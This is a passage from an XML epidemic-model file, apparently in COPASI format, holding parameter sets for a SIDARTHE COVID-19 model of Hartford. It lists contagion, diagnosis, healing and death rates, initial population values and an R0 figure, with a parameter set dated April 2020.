<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.10000000000000001" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.94328837531765863" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="1.4418891398704286e-13" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.090000000000000011" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="2.6402941202873713e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="5.2805882405747435e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="2.6402941202873717e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="1.3201470601436859e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.0072414521576865017" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.0072414521576865017" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.00063490001422277658" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.01632439890557362" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.01632439890557362" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.03998017723708211" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.091103382179247794" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.091103382179247794" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.0001" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.091103382179247794" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.048111291788608519" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_19" name="Model5 - 4/22">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_19">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-22T03:20:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000000018032" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663.9999999925" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="7.6464097332111719e-09" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.69531379588830622" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.13906275917766125" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.069531379588830627" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.034765689794415314" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.0500000000000001" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.0500000000000001" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.0014841750650827091" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.010000000000031792" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.023093166802733305" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.050000000000025448" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.050000000000025448" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.029999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.023093166802733305" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.18927301919835171" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.040129002273764744" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1.000000007648213" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1.000000007648213" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.073093166802733409" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.073093166802733409" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.061484175065139951" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.08000000000002544" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.22940202147211647" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="10.293471524801761" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="1.9462048523673681e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="1.9462048523673678e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="3.8924097047347361e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="9.7310242618368403e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.13315074968178742" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.69531360180073865" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="1.1348610663437752e-11" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.13315074968178742" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.9462048523673678e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="3.8924097047347361e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.9462048523673681e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="9.7310242618368403e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.0500000000000001" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.0500000000000001" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0014841750650827091" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000025448" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000025448" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.040129002273764744" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.023093166802733305" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.023093166802733305" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.010000000000031792" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.029999999999999999" type="ReactionParameter" simulationType="assignment">
